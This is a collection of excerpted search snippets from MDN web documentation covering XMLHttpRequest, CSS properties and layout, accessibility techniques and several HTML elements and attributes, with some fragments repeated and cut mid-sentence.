open() but before calling send(). var xhr = new xmlhttprequest(); xhr.onload = function() { console.log(this.responsexml.title); } xhr.open("get", "file.html"); xhr.responsetype = "document"; xhr.send(); feature detection method 1 this method relies on the "force async" nature of the feature. when you try to set responsetype of an xmlhttprequest object after it is opened as "sync". this throws an error in the browsers that implement the feature and works on others. function htmlinxhr() { if (!window.xmlhttprequest) return false; var req = new window.xmlhttprequest(); req.open('get', window.location.href, false); try { req.responsetype = 'document'; } catch(e) { return true; } return false; } view on jsfiddle this method is synchronous, does not rely on e...
...tion.href, false); try { req.responsetype = 'document'; } catch(e) { return true; } return false; } view on jsfiddle this method is synchronous, does not rely on external assets though it may not be as reliable as method 2 described below since it does not check the actual feature but an indication of that feature. method 2 there are two challenges to detecting exactly if a browser supports html parsing in xmlhttprequest. first, the detection result is obtained asynchronously, because html support is only available in the asynchronous mode. second, you have to actually fetch a test document over http, because testing with a data: url would end up testing data: url support at the same time. thus, to detect html support, a test html file is needed on the server. this test ...
...he character encoding is declared in the http content-type header, that character encoding is used. failing that, if there is a byte order mark, the encoding indicated by the byte order mark is used. failing that, if there is a <meta> element that declares the encoding within the first 1024 bytes of the file, that encoding is used. otherwise, the file is decoded as utf-8. ...
...there is a byte order mark, the encoding indicated by the byte order mark is used. failing that, if there is a <meta> element that declares the encoding within the first 1024 bytes of the file, that encoding is used. otherwise, the file is decoded as utf-8. handling html on older browsers xmlhttprequest originally supported only xml parsing. html parsing support is a recent addition. ...
Sending and Receiving Binary Data - Web APIs
o something with each byte in the array } } }; oreq.send(null); you can also read a binary file as a blob by setting the string "blob" to the responsetype property. var oreq = new xmlhttprequest(); oreq.open("get", "/myfile.png", true); oreq.responsetype = "blob"; oreq.onload = function(oevent) { var blob = oreq.response; // ... }; oreq.send(); receiving binary data in older browsers the load_binary_resource() function shown below loads binary data from the specified url, returning it to the caller. function load_binary_resource(url) { var req = new xmlhttprequest(); req.open('get', url, false); //xhr binary charset opt by marcus granado 2006 [http://mgran.blogspot.com] req.overridemimetype('text\/plain; charset=x-user-defined'); req.send(null); if (req.statu...
... var filestream = load_binary_resource(url); var abyte = filestream.charcodeat(x) & 0xff; // throw away high-order byte (f7) the example above fetches the byte at offset x within the loaded binary data. the valid range for x is from 0 to filestr...
..., url, false); //xhr binary charset opt by marcus granado 2006 [http://mgran.blogspot.com] req.overridemimetype('text\/plain; charset=x-user-defined'); req.send(null); if (req.status != 200) return ''; return req.responsetext; } the magic happens in line 5, which overrides the mime type, forcing the browser to treat it as plain text, using a user-defined character set. this tells the browser not to parse it, and to let the bytes pass through unprocessed. var filestream = load_binary_resource(url); var abyte = filestream.charcodeat(x) & 0xff; // throw away high-order byte (f7) the example above fetches the byte at offset x within the loaded binary data. the valid range for x is from 0 to filestream.length-1. see downloading binary streams with xmlhttprequest for a detailed expla...
... longint8view[i] = i % 256; } var xhr = new xmlhttprequest; xhr.open("post", url, false); xhr.send(myarray); this is building a 512-byte array of 8-bit integers and sending it; you can use any binary data you'd like, of course. note: support for sending arraybuffer objects using xmlhttprequest was added to gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6). add information about other browsers' support here. submitting forms and uploading files please, read this paragraph. firefox-specific examples this example transmits binary content asynchronously, using the post method, and firefox's non-standard sendasbinary(). var req = new xmlhttprequest(); req.open("post", url, true); // set headers and mime-type appropriately req.setrequestheader("content-length", 741); req.sendasbinar...
Keyboard-navigable JavaScript widgets - Accessibility
mimic desktop widgets such as menus, tree views, rich text fields, and tab panels. these widgets are typically composed of <div> and <span> elements that do not, by nature, offer the same keyboard functionality that their desktop counterparts do. this document describes techniques to make javascript widgets accessible with the keyboard. using tabindex by default, when people use the tab key to browse a webpage, only interactive elements (like links, form controls) get focused. with the tabindex global attribute, authors can make other elements focusable, too. when set to 0, the element becomes focusable by keyboard and script. when set to -1, the element becomes focusable by script, but it does not become part of the keyboard focus order. the order in which elements gain focus when using a ...
... positive number. warning: avoid using positive values for tabindex. elements with a positive tabindex are put before the default interactive elements on the page, which means page authors will have to set (and maintain) tabindex values for all focusable elements on the page whenever they use one or more positive values for tabindex. the following table describes tabindex behavior in modern browsers: tabindex attribute focusable with mouse or javascript via element.focus() tab navigable not present follows the platform convention of the element (yes for form controls, links, etc.). follows the platform convention of the element. negative (i.e. tabindex="-1") yes no; author must focus the element with focus() in response to arrow or other key p...
...thing like this.style.backgroundcolor = "gray"; or add a dotted border via this.style.border = "1px dotted invert". in the dotted border case you will need to make sure those elements have an invisible 1px border to start with, so that the element doesn't grow when the border style is applied (borders take up space, and ie doesn't implement css outlines). prevent used key events from performing browser functions if your widget handles a key event, prevent the browser from also handling it (for example, scrolling in response to the arrow keys) by using your event handler's return code. if your event handler returns false, the event will not be propagated beyond your handler. for example: <span tabindex="-1" onkeydown="return handlekeydown();"> if handlekeydown() returns false, the event wi...
...dles a key event, prevent the browser from also handling it (for example, scrolling in response to the arrow keys) by using your event handler's return code. if your event handler returns false, the event will not be propagated beyond your handler. for example: <span tabindex="-1" onkeydown="return handlekeydown();"> if handlekeydown() returns false, the event will be consumed, preventing the browser from performing any action based on the keystroke. don't rely on consistent behavior for key repeat, at this point unfortunately onkeydown may or may not repeat depending on what browser and os you're running on. ...
::-webkit-scrollbar - CSS: Cascading Style Sheets
::-webkit-scrollbar-thumb — the draggable scrolling handle. ...
... ::-webkit-scrollbar-thumb — the draggable scrolling handle. ...
... ::-webkit-scrollbar-thumb — the draggable scrolling handle. ...
... ::-webkit-scrollbar-thumb — the draggable scrolling handle. ::-webkit-scrollbar-track — the track (progress bar) of the scrollbar. ::-webkit-scrollbar-track-piece — the part of the track (progress bar) not covered by the handle. ...
Aligning Items in a Flex Container - CSS: Cascading Style Sheets
n yet otherwise is exactly the same as the previous example. aligning content on the cross axis — the align-content property so far we have been aligning the items, or an individual item inside the area defined by the flex-container. if you have a wrapped multiple-line flex container then you might also want to use the align-content property to control the distribution of space between the rows. in the specification this is described as packing flex lines. for align-content to work you need more height in your flex container than is required to display the items. it then works on all the items as a set, and dictates what happens with that free space, and the alignment of the entire set of items within it. the align-content property takes the following values: align-content: flex-st...
...tent property works. once again we can switch our flex-direction to column in order to see how this property behaves when we are working by column. as before, we need enough space in the cross axis to have some free space after displaying all of the items. note: the value space-evenly is not defined in the flexbox specification and is a later addition to the box alignment specification. browser support for this value is not as good as that of the values defined in the flexbox spec. see the documentation for justify-content on mdn for more details on all of these values and browser support. aligning content on the main axis now that we have seen how alignment works on the cross axis, we can take a look at the main axis. here we only have one property available to us — justify-con...
...ex-start will then be where the top of your first paragraph of text would start. if you change flex-direction to one of the reverse values, then they will lay themselves out from the end axis and in the reverse order to the way words are written in the language of your document. flex-start will then change to the end of that axis — so to the location where your lines would wrap if working in rows, or at the end of your last paragraph of text in the block direction. using auto margins for main axis alignment we don’t have a justify-items or justify-self property available to us on the main axis as our items are treated as a group on that axis. however it is possible to do some individual alignment in order to separate an item or a group of items from others by using auto margins al...
...y value for align-content and justify-content properties. the box alignment module also includes other methods of creating space between items, such as the column-gap and row-gap feature as seen in css grid layout. the inclusion of these properties in box alignment means that in future we should be able to use column-gap and row-gap in flex layouts too, and in firefox 63 you will find the first browser implementation of the gap properties in flex layout. my suggestion when exploring flexbox alignment in depth is to do so alongside looking at alignment in grid layout. both specifications use the alignment properties as detailed in the box alignment specification. you can see how these properties behave when working with a grid in the mdn article box alignment in grid layout, and i have also c...
Column layouts - CSS: Cascading Style Sheets
ther you use grid, flexbox or multi-column layout will depend on what you are trying to achieve, and in this recipe we explore these options. requirements there are a number of design patterns you might want to achieve with your columns: a continuous thread of content broken up into newspaper-style columns. a single row of items arranged as columns, with all heights being equal. multiple rows of columns lined up by row and column. the recipes you need to choose different layout methods in order to achieve your requirements. a continuous thread of content — multi-column layout if you create columns using multi-column layout your text will remain as a continuous stream filling each column in turn. the columns must all be the same size, and you are unable to target an individual c...
...boxes for styling. a single row of items with equal heights — flexbox flexbox can be used to break content into columns by setting flex-direction to row, however flexbox targets the elements inside the flex container and will place each direct child into a new column. this is a different behavior to what you saw with multicol. there is currently no way to add a rule between flex items, and browser support for the column-gap and row-gap properties is limited. therefore to create gaps between items use a margin. download this example flexbox can also be used to create layouts where the flex items wrap onto new rows, by setting the flex-wrap property on the container to wrap. these new flex lines will distribute space along that line only — the items in the new line will not line up...
... the container to wrap. these new flex lines will distribute space along that line only — the items in the new line will not line up with items in the line above, as you'll see in the example below. this is why flexbox is described as one-dimensional. it is designed for controlling layout as a row or a column, but not both at the same time. download this example use flexbox: for single rows or columns of items. when you want to do alignment on the cross axis after laying out your items. when you are happy for wrapped items to share out space along their line only and not line up with items in other lines. lining items up in rows and columns — grid layout if what you want is a layout where items line up in rows and columns then you should choose css grid layout. grid layout wo...
...tems in other lines. lining items up in rows and columns — grid layout if what you want is a layout where items line up in rows and columns then you should choose css grid layout. grid layout works on the direct children of the grid container in a similar way to the manner in which flexbox works on the direct children of the flex container, however with css grid you can line your items up in rows and columns — it is described as two-dimensional. download this example use grid: for multiple rows or columns of items. when you want to be able to align the items on the block and inline axes. when you want items to line up in rows and columns. ...
Syntax - CSS: Cascading Style Sheets
Web › CSS › Syntax
css declarations setting css properties to specific values is the core function of the css language. ...
...ioning, or decorations. the css syntax reflects this goal and its basic building blocks are: the property which is an identifier, that is a human-readable name, that defines which feature is considered. the value which describe how the feature must be handled by the engine. each property has a set of valid values, defined by a formal grammar, as well as a semantic meaning, implemented by the browser engine. css declarations setting css properties to specific values is the core function of the css language. a property and value pair is called a declaration, and any css engine calculates which declarations apply to every single element of a page in order to appropriately lay it out, and to style it. both properties and values are case-insensitive by default in css. the pair is separated ...
... (like @font-face). any statement which isn't a ruleset or an at-rule is invalid and ignored. there is another group of statements – the nested statements. these are statements that can be used in a specific subset of at-rules – the conditional group rules. ...
...f the device on which the browser runs matches the expressed condition; the @document at-rule content is applied only if the current page matches some conditions, and so on. in css1 and css2.1, only rulesets could be used inside conditional group rules. that was very restrictive and this restriction was lifted in css conditionals level 3. now, though still experimental and not supported by every browser, conditional group rules can contain a wider range of content: rulesets but also some, but not all, at-rules. ...
all - CSS: Cascading Style Sheets
Web › CSS › all
ound-color: #f0f0f0; color: blue; } blockquote { background-color: skyblue; color: red; } result no all property <blockquote id="quote">lorem ipsum dolor sit amet, consectetur adipiscing elit.</blockquote> phasellus eget velit sagittis. body { font-size: small; background-color: #f0f0f0; color:blue; } blockquote { background-color: skyblue; color: red; } the <blockquote> uses the browser's default styling together with a specific background and text color. it also behaves as a block element: the text that follows it is beneath it. all:unset <blockquote id="quote">lorem ipsum dolor sit amet, consectetur adipiscing elit.</blockquote> phasellus eget velit sagittis. body { font-size: small; background-color: #f0f0f0; color:blue; } blockquote { background-color: skyblue; color...
... it also behaves as a block element: the text that follows it is beneath it. all:unset <blockquote id="quote">lorem ipsum dolor sit amet, consectetur adipiscing elit.</blockquote> phasellus eget velit sagittis. body { font-size: small; background-color: #f0f0f0; color:blue; } blockquote { background-color: skyblue; color: red; } blockquote { all: unset; } the <blockquote> doesn't use the browser default styling: it is an inline element now (initial value), its background-color is transparent (initial value), but its font-size is still small (inherited value) and its color is blue (inherited value). all:initial <blockquote id="quote">lorem ipsum dolor sit amet, consectetur adipiscing elit.</blockquote> phasellus eget velit sagittis. body { font-size: small; background-color: #f0f0f...
...s still small (inherited value) and its color is blue (inherited value). all:initial <blockquote id="quote">lorem ipsum dolor sit amet, consectetur adipiscing elit.</blockquote> phasellus eget velit sagittis. body { font-size: small; background-color: #f0f0f0; color:blue; } blockquote { background-color: skyblue; color: red; } blockquote { all: initial; } the <blockquote> doesn't use the browser default styling: it is an inline element now (initial value), its background-color is transparent (initial value), its font-size is normal (initial value) and its color is black (initial value). all:inherit <blockquote id="quote">lorem ipsum dolor sit amet, consectetur adipiscing elit.</blockquote> phasellus eget velit sagittis. body { font-size: small; background-color: #f0f0f0; color:blu...
...nt-size is normal (initial value) and its color is black (initial value). all:inherit <blockquote id="quote">lorem ipsum dolor sit amet, consectetur adipiscing elit.</blockquote> phasellus eget velit sagittis. body { font-size: small; background-color: #f0f0f0; color:blue; } blockquote { background-color: skyblue; color: red; } blockquote { all: inherit; } the <blockquote> doesn't use the browser default styling: it is a block element now (inherited value from its containing <body> element), its background-color is #f0f0f0 (inherited value), its font-size is small (inherited value) and its color is blue (inherited value). specifications specification status comment css cascading and inheritance level 4the definition of 'all' in that specification. candi...
box-lines - CSS: Cascading Style Sheets
Web › CSS › box-lines
this is a property of the original css flexible box layout module draft, and has been replaced by a newer standard. see flexbox for information about the current standard. the box-lines css property determines whether the box may have a single or multiple lines (rows for horizontally oriented boxes, columns for vertically oriented boxes). /* keyword values */ box-lines: single; box-lines: multiple; /* global values */ box-lines: inherit; box-lines: initial; box-lines: unset; by default a horizontal box will lay out its children in a single row, and a vertical box will lay out its children in a single column. this behavior can be changed using the box-lines property. the default value is single, which means that all elements will be placed in a single row or column, and any el...
...cal box will lay out its children in a single column. this behavior can be changed using the box-lines property. the default value is single, which means that all elements will be placed in a single row or column, and any elements that don't fit will simply be considered overflow. if a value of multiple is specified, however, then the box is allowed to expand to multiple lines (that is, multiple rows or columns) in order to accommodate all of its children. the box must attempt to fit its children on as few lines as possible by shrinking all elements down to their minimum widths or heights if necessary. if the children in a horizontal box still do not fit on a line after being reduced to their minimum widths, then children are moved one by one onto a new line, until the elements remaining on ...
...lements on that line are considered when evaluating box-flex and box-flex-groups. the packing of elements in a line, as specified by the box-pack property, is also computed independently for each line. syntax the box-lines property is specified as one of the keyword values listed below. values single box elements lay out in a single row or column. ...
... div { display: box; box-orient: horizontal; box-lines: multiple; } the modern flexbox equivalent is flex-wrap. ...
cursor - CSS: Cascading Style Sheets
Web › CSS › cursor
rl(hand.cur), pointer; /* url and coordinates, with a keyword fallback */ cursor: url(cursor1.png) 4 12, auto; cursor: url(cursor2.png) 2 2, pointer; /* global values */ cursor: inherit; cursor: initial; cursor: unset; the cursor property is specified as zero or more <url> values, separated by commas, followed by a single mandatory keyword value. each <url> should point to an image file. the browser will try to load the first image specified, falling back to the next if it can't, and falling back to the keyword value if no images could be loaded (or if none were specified). each <url> may be optionally followed by a pair of space-separated numbers, which represent <x><y> coordinates. these will set the cursor's hotspot, relative to the top-left corner of the image. for example, this spec...
... as fallbacks, in case some cursor image types are not supported. a non-url fallback (one or more of the keyword values) must be at the end of the fallback list. see using url values for the cursor property for more details. <x> <y> optional x- and y-coordinates. two unitless nonnegative numbers less than 32. keyword values move your mouse over values to see their live appearance in your browser: category css value example description general auto the ua will determine the cursor to display based on the current context. e.g., equivalent to text when hovering text. default the platform-dependent default cursor. typically an arrow. none no cursor is rendered. links & status ...
... something can be grabbed (dragged to be moved). grabbing something is being grabbed (dragged to be moved). resizing & scrolling all-scroll something can be scrolled in any direction (panned). bug 275174: on windows, all-scroll is the same as move. col-resize the item/column can be resized horizontally. often rendered as arrows pointing left and right with a vertical bar separating them. row-resize the item/row can be resized vertically. often rendered as arrows pointing up and down with a horizontal bar separating them. n-resize some edge is to be moved. for example, the se-resize cursor is used when the movement starts from the south-east corner of the box. in some enviro...
... nesw-resize nwse-resize zooming zoom-in something can be zoomed (magnified) in or out. zoom-out usage notes although the specification does not define any size limitations for cursor, individual user agents may choose to do so. cursor changes using images which are outside the size range supported by the browser will generally just be ignored. check the browser compatibility table for any notes on cursor size limits. formal definition initial valueautoapplies toall elementsinheritedyescomputed valueas specified, but with <url> values made absoluteanimation typediscrete formal syntax [ [ <url> [ <x> <y> ]? , ]* [ auto | default | none | context-menu | help | pointer | progress | wait | cell | cross...
font-size-adjust - CSS: Cascading Style Sheets
lity of fonts, especially at small sizes, is determined more by the size of lowercase letters than by the size of capital letters. legibility can become an issue when the first-choice font-family is unavailable and its replacement has a significantly different aspect ratio (the ratio of the size of lowercase letters to the size of the font). to use this property in a way that is compatible with browsers that do not support font-size-adjust, it is specified as a number that the font-size property is multiplied by. this means the value specified for the property should generally be the aspect ratio of the first choice font. for example, a style sheet that specifies: font-size: 14px; font-size-adjust: 0.5; ... is really specifying that the lowercase letters of the font should be 7px high (0.5...
...s a number that the font-size property is multiplied by. this means the value specified for the property should generally be the aspect ratio of the first choice font. for example, a style sheet that specifies: font-size: 14px; font-size-adjust: 0.5; ... is really specifying that the lowercase letters of the font should be 7px high (0.5 × 14px). this will still produce reasonable results in browsers that do not support font-size-adjust, where a 14px font will be used. syntax values none choose the size of the font based only on the font-size property. <number> choose the size of the font so that its lowercase letters (as determined by the x-height of the font) are the specified number times the font-size. the number specified should generally be the aspect ratio (ratio of x-h...
... on the font-size property. <number> choose the size of the font so that its lowercase letters (as determined by the x-height of the font) are the specified number times the font-size. the number specified should generally be the aspect ratio (ratio of x-height to font size) of the first choice font-family. this means that the first-choice font, when available, will appear the same size in browsers, whether or not they support font-size-adjust. 0 yields text of zero height (hidden text). formal definition initial valuenoneapplies toall elements. it also applies to ::first-letter and ::first-line.inheritedyescomputed valueas specifiedanimation typea number formal syntax none | <number> examples adjusting lower-case letter sizes html <p class="times">this text uses the times fo...
...nt-size-adjust: 0.58; font-size: 10px; } results specifications specification status comment css fonts module level 3the definition of 'font-size-adjust' in that specification. candidate recommendation initial definition the css property font-size-adjust was initially defined in css 2, but dropped in css 2.1. it has been newly defined in css 3. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfont-size-adjustchrome ...
image-set() - CSS: Cascading Style Sheets
Web › CSS › image-set
resolution can be used as a proxy for filesize — a user agent on a slow mobile connection with a high-resolution screen may prefer to receive lower-resolution images rather than waiting for a higher resolution image to load. ...
...resolution can be used as a proxy for filesize — a user agent on a slow mobile connection with a high-resolution screen may prefer to receive lower-resolution images rather than waiting for a higher resolution image to load. ...
...) must have a unique resolution. examples background-image: image-set( "cat.png" 1x, "cat-2x.png" 2x, "cat-print.png" 600dpi); this example shows how to use image-set() to provide two alternative background-image options, chosen depending on the resolution needed: a normal version and a high-resolution version. accessibility concerns browsers do not provide any special information on background images to assistive technology. this is important primarily for screen readers, as a screen reader will not announce its presence and therefore convey nothing to its users. if the image contains information critical to understanding the page's overall purpose, it is better to describe it semantically in the document. mdn understanding wca...
...age's overall purpose, it is better to describe it semantically in the document. mdn understanding wcag, guideline 1.1 explanations understanding success criterion 1.1.1 | w3c understanding wcag 2.0 specifications specification status comment css images module level 4the definition of 'the image-set() notation' in that specification. working draft browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetimage-set()chrome ...
Guide to scroll anchoring - CSS: Cascading Style Sheets
how does it work? scroll anchoring adjusts the scroll position to compensate for the changes outside of the viewport. ...
... how does it work? scroll anchoring adjusts the scroll position to compensate for the changes outside of the viewport. ...
... scroll anchoring adjusts the scroll position to compensate for the changes outside of the viewport. this means that the point in the document the user is looking at remains in the viewport, which may mean their scroll position actually changes in terms of how far they have moved through the document. how do i turn on scroll anchoring? you don't! the feature is enabled by default in supporting browsers. in most cases anchored scrolling is exactly what you want — content jumping is a poor experience for anyone. what if i need to debug it? if your page is not behaving well with scroll anchoring enabled, it is probably because some scroll event listener is not handling well the extra scrolling to compensate for the anchor node movement. you can check whether disabling scroll anchoring fixe...
..., you can exclude it using overflow-anchor, as described below. what if i need to disable it? the specification provides a new property, overflow-anchor, which can be used to disable scroll anchoring on all or part of the document. it's essentially a way to opt out of the new behavior. the only possible values are auto or none: auto is the initial value; as long as the user has a supported browser the scroll anchoring behavior will happen, and they should see fewer content jumps. none means that you have explicitly opted the document, or part of the document, out of scroll anchoring. to opt out the entire document, you can set it on the <body> element: body { overflow-anchor: none; } to opt out a certain part of the document use overflow-anchor: none on its container element: .co...
text-transform - CSS: Cascading Style Sheets
en the whole word is in uppercase (ά/Α), except for the disjunctive eta (ή/Ή). also, diphthongs with an accent on the first vowel lose the accent and gain a diaeresis on the second vowel (άι/ΑΪ). in greek (el), the lowercase sigma character has two forms: σ and ς. ς is used only when sigma terminates a word. when applying text-transform: lowercase to an uppercase sigma (Σ), the browser needs to choose the right lowercase form based on context. in irish (ga), certain prefixed letters remain in lowercase when the base initial is capitalized, so for example text-transform: uppercase will change ar aon tslí to ar aon tslÍ and not, as one might expect, ar aon tslÍ (firefox only). in some cases, a hyphen is also removed upon uppercasing: an t-uisce transforms to an tuisce (an...
...nge ar aon tslí to ar aon tslÍ and not, as one might expect, ar aon tslÍ (firefox only). in some cases, a hyphen is also removed upon uppercasing: an t-uisce transforms to an tuisce (and the hyphen is correctly reinserted by text-transform: lowercase). the language is defined by the lang html attribute or the xml:lang xml attribute. note: support for language-specific cases varies between browsers, so check the browser compatibility table. syntax /* keyword values */ text-transform: none; text-transform: capitalize; text-transform: uppercase; text-transform: lowercase; text-transform: full-width; text-transform: full-size-kana; /* global values */ text-transform: inherit; text-transform: initial; text-transform: unset; capitalize is a keyword that converts the first letter of...
...ned as a character that is part of unicode's letter or number general categories ; thus, any punctuation marks or symbols at the beginning of a word are ignored. authors should not expect capitalize to follow language-specific title casing conventions (such as skipping articles in english). the capitalize keyword was under-specified in css 1 and css 2.1. this resulted in differences between browsers in the way the first letter was calculated (firefox considered - and _ as letters, but other browsers did not. both webkit and gecko incorrectly considered letter-based symbols like ⓐ to be real letters. internet explorer 9 was the closest to the css 2 definition, but with some weird cases.) by precisely defining the correct behavior, css text level 3 cleans this mess up. the capitalize line...
... uppercase is a keyword that converts all characters to uppercase. lowercase is a keyword that converts all characters to lowercase. ...
Making content editable - Developer guides
in html, any element can be editable. by using some javascript event handlers, you can transform your web page into a full and fast rich text editor. this article provides some information about this functionality. note: in firefox 63 beta/dev edition, some of the rich-text editing features have been disabled by default, for better cross-browser compatibility. these are object resizing on <img>, <table>, and absolutely-positioned elements; inline table editing to add or remove rows and columns; and the grabber that allows moving of absolutely-positioned elements. see bug 1449564 and firefox-specific html editing ui has been deprecated for additional details. how does it work? all you have to do is set the contenteditable attribute on nearly any html element to make it editable. h...
...editable region. most commands affect the document's selection by, for example, applying a style to the text (bold, italics, etc), while others insert new elements (like adding a link) or affect an entire line (indenting). when using contenteditable, calling execcommand() will affect the currently active editable element. ...
...to the text (bold, italics, etc), while others insert new elements (like adding a link) or affect an entire line (indenting). when using contenteditable, calling execcommand() will affect the currently active editable element. differences in markup generation use of contenteditable across different browsers has been painful for a long time because of the differences in generated markup between browsers. for example, even something as simple as what happens when you press enter/return to create a new line of text inside an editable element was handled differently across the major browsers (firefox inserted <br> elements, ie/opera used <p>, chrome/safari used <div>). fortunately, in modern browsers things are somewhat more consistent. as of firefox 60, firefox will be updated to wrap the sepa...
...for example, to use <p> elements: document.execcommand("defaultparagraphseparator", false, "p"); additionally, firefox supports the non-standard argument, br, for defaultparagraphseparator since firefox 55. ...
disabled - HTML: Hypertext Markup Language
the boolean disabled attribute, when present, makes the element not mutable, focusable, or even submitted with the form. the user can neither edit nor focus on the control, nor it's form control descendants. if the disabled attribute is specified on a form control, the element and its form control descendants do not participate in constraint validation. often browsers grey out such controls and it won't receive any browsing events, like mouse clicks or focus-related ones. the disabled attribute is supported by <button>, <command>, <fieldset>, <keygen>, <optgroup>, <option>, <select>, <textarea> and <input>. this boolean disabled attribute indicates that the user cannot interact with the control or it's descendant controls. if this attribute is not specified, the control inherits its ...
...e disabled attribute but don't have the attribute set match the :enabled pseudo-class. this boolean attribute prevents the user from interacting with the button. if this attribute isn't set, the button can still be disabled from a containing element, for example <fieldset>; if there is no containing element with the disabled attribute set, then the button is enabled. firefox will, unlike other browsers, persist the dynamic disabled state of a <button> across page loads. use the autocomplete attribute to control this feature. attribute interactions the difference between disabled and readonly is that read-only controls can still function and are still focusable, whereas disabled controls can not receive focus and are not submitted with the form and generally do not function as controls unti...
...bled. because a disabled field cannot have it's value changed, required does not have any effect on inputs with the disabled attribute also specified. additionally, since the elements become immutable, most other attributes, such as pattern, have no effect, until the control is enabled. note: the required attribute is not permitted on inputs with the disabled attribute specified. usability browsers display disabled form controls greyed as disabled form controls are immutable, won't receive focus or any browsing events, like mouse clicks or focus-related ones, and aren't submitted with the form. if present on a supporting elements, the :disabled pseudo class will match. if the attribute is not included, the :enabled pseudo class will match. if the element doesn't support the disabled att...
...ment doesn't support the disabled attribute, the attribute will have no effect, including not leading to being matched by the :disabled and :enabled pseudo classes. constraint validation if the element is disabled, then the element's value can not receive focus and cannot be updated by the user, and does not participate in constraint validation. examples when form controls are disabled, many browsers will display them in a lighter, greyed-out color by default. here are examples of a disabled checkbox, radio button, <option> and <optgroup>, as well as some form controls that are disabled via the disabled attribute set on the ancestor <fieldset> element. the <option>s are disabled, but the <select> itself is not. we could have disable the entire <select> by adding the attribute to that elem...
HTML attribute: pattern - HTML: Hypertext Markup Language
the 'u' flag is specified when compiling the regular expression, so that the pattern is treated as a sequence of unicode code points, instead of as ascii. no forward slashes should be specified around the pattern text. if the specified pattern is not specified or is invalid, no regular expression is applied and this attribute is ignored. tip: use the title attribute to specify text that most browsers will display as a tooltip to explain what the requirements are to match the pattern. you should also include other explanatory text nearby. some of the input types supporting the pattern attribute, notably the email and url input types, have expected value syntaxes that must be matched. if the pattern attribute isn't present, and the value doesn't match the expected syntax for that value ty...
...alue type, the validitystate object's read-only typemismatch property will be true. usability when including a pattern, provide a description of the pattern in visible text near the control. additionally, include a title attribute which gives a description of the pattern. user agents may use the title contents during constraint validation to tell the user that the pattern is not matched. some browsers show a tooltip with title contents, improving usability for sighted users. additionally, assistive technology may read the title aloud when the control gains focus, but this should not be relied upon for accessibility. constraint validation if the input’s value is not the empty string and the value does not match the entire regular expression, there is a from a patternmismatch . the patte...
...+span:after { position: absolute; content: '✓'; padding-left: 5px; } this renders like so: accessibility concerns when a control has a pattern attribute, the title attribute, if used, must describe the pattern. relying on the title attribute for the visual display of text content is generally discouraged as many user agents do not expose the attribute in an accessible manner. ...
...tent is generally discouraged as many user agents do not expose the attribute in an accessible manner. some browsers show a tooltip when an element with a title is hovered, but that leaves out keyboard-only and touch-only users. this is one of the several reasons you must include information informing users how to fill out the the control to match the requirements. while titles are used by some browsers to populate error messaging, because browsers sometimes also show the title as text on hover, it therefore shows in non-error situations, so be careful not to word titles as if an error has occurred. specifications specification status comment html living standardthe definition of 'pattern' in that specification. living standard html 5.1the definition ...
<basefont> - HTML: Hypertext Markup Language
Web › HTML › Element › basefont
element and its contents. attributes like all other html elements, this element supports the global attributes. color this attribute sets the text color using either a named color or a color specified in the hexadecimal #rrggbb format. face this attribute contains a list of one or more font names. the document text in the default style is rendered in the first font face that the client's browser supports. if no font listed is installed on the local system, the browser typically defaults to the proportional or fixed-width font for that system. size this attribute specifies the font size as either a numeric or relative value. numeric values range from 1 to 7 with 1 being the smallest and 3 the default. usage notes do not use this element! though once (imprecisely) normalized in html...
... the <basefont> element was deprecated in the standard at the same time as all elements related to styling only. ...
... the <basefont> element was deprecated in the standard at the same time as all elements related to styling only. ...
...e proportional or fixed-width font for that system. size this attribute specifies the font size as either a numeric or relative value. numeric values range from 1 to 7 with 1 being the smallest and 3 the default. usage notes do not use this element! though once (imprecisely) normalized in html 3.2, it wasn't supported in all major browsers. further, browsers, and even successive versions of browsers, never implemented it in the same way: practically, using it has always brought indeterminate results. the <basefont> element was deprecated in the standard at the same time as all elements related to styling only. starting with html 4, html does not convey styling information anymore (outside the <style> element or the style attribute of each element). in html5, this element has been removed...
<bdi>: The Bidirectional Isolate element - HTML: Hypertext Markup Language
Web › HTML › Element › bdi
the html bidirectional isolate element (<bdi>) tells the browser's bidirectional algorithm to treat the text it contains in isolation from its surrounding text. it's particularly useful when a website dynamically inserts some text and doesn't know the directionality of the text being inserted. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...epository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. bidirectional text is text that may contain both sequences of characters that are arranged left-to-right (ltr) and sequences of characters that are arranged right-to-left (rtl), such as an arabic quotation embedded in an english string. browsers implement the unicode bidirectional algorithm to handle this. in this algorithm, characters are given an implicit directionality: for example, latin characters are treated as ltr while arabic characters are treated as rtl. some other characters (such as spaces and some punctuation) are treated as neutral and are assigned directionality based on that of their surrounding characters. usually, t...
...or example, because embedded-text is being read from a database or entered by the user - you should use <bdi> to prevent the directionality of embedded-text from affecting its surroundings. though the same visual effect can be achieved using the css rule unicode-bidi: isolate on a <span> or another text-formatting element, html authors should not use this approach because it is not semantic and browsers are allowed to ignore css styling. embedding the characters in <span dir="auto"> has the same effect as using <bdi>, but its semantics are less clear. content categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, both the starting and ending tag are mandatory. permitted parents any e...
...ى</span> - 1st place</li> <li><span class="name">jerry cruncher</span> - 2nd place</li> </ul> body { border: 1px solid #3f87a6; max-width: calc(100% - 40px - 6px); padding: 20px; width: calc(100% - 40px - 6px); border-width: 1px 1px 1px 5px; } using <bdi> with ltr and rtl text this example lists the winners of a competition using <bdi> elements. ...
<canvas>: The Graphics Canvas element - HTML: Hypertext Markup Language
Web › HTML › Element › canvas
